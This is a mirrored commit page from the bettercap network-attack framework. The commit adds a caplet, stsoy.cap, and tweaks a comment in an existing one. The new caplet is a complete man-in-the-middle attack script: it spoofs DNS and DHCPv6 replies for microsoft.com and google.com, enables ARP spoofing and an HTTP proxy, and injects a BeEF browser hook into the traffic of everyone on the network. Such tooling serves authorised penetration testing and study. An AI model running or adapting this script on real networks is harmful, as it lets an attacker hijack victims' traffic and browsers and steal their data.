mirror of
https://github.com/bettercap/bettercap
synced 2025-08-19 13:09:49 -07:00
new caplet
This commit is contained in:
parent
8d7f761138
commit
64510f9ab9
2 changed files with 30 additions and 1 deletions
|
@ -2,7 +2,8 @@
|
||||||
set dns.spoof.domains microsoft.com, google.com
|
set dns.spoof.domains microsoft.com, google.com
|
||||||
set dhcp6.spoof.domains microsoft.com, google.com
|
set dhcp6.spoof.domains microsoft.com, google.com
|
||||||
|
|
||||||
# every request to *.microsoft.com will come to us, let's give em some contents
|
# every request http request to the spoofed hosts will come to us
|
||||||
|
# let's give em some contents
|
||||||
set http.server.path caplets/www
|
set http.server.path caplets/www
|
||||||
|
|
||||||
# check who's alive on the network
|
# check who's alive on the network
|
||||||
|
|
28
caplets/stsoy.cap
Normal file
28
caplets/stsoy.cap
Normal file
|
@ -0,0 +1,28 @@
|
||||||
|
# let's spoof Microsoft and Google ^_^
|
||||||
|
set dns.spoof.domains microsoft.com, google.com
|
||||||
|
set dhcp6.spoof.domains microsoft.com, google.com
|
||||||
|
# and let's inject a beef hook into everything else ^_^
|
||||||
|
set http.proxy.script caplets/beef-inject.js
|
||||||
|
|
||||||
|
# every request http request to the spoofed hosts will come to us
|
||||||
|
# let's give em some contents
|
||||||
|
set http.server.path caplets/www
|
||||||
|
|
||||||
|
# check who's alive on the network
|
||||||
|
net.recon on
|
||||||
|
# serve files
|
||||||
|
http.server on
|
||||||
|
# redirect DNS request by spoofing DHCPv6 packets
|
||||||
|
dhcp6.spoof on
|
||||||
|
# send spoofed DNS replies ^_^
|
||||||
|
dns.spoof on
|
||||||
|
# just in case U.U'
|
||||||
|
arp.spoof on
|
||||||
|
# enable proxy
|
||||||
|
http.proxy on
|
||||||
|
|
||||||
|
# set a custom prompt for ipv6
|
||||||
|
set $ {by}{fw}{cidr} {fb}> {env.iface.ipv6} {reset} {bold}» {reset}
|
||||||
|
# clear the events buffer and the screen
|
||||||
|
events.clear
|
||||||
|
clear
|
Loading…
Add table
Add a link
Reference in a new issue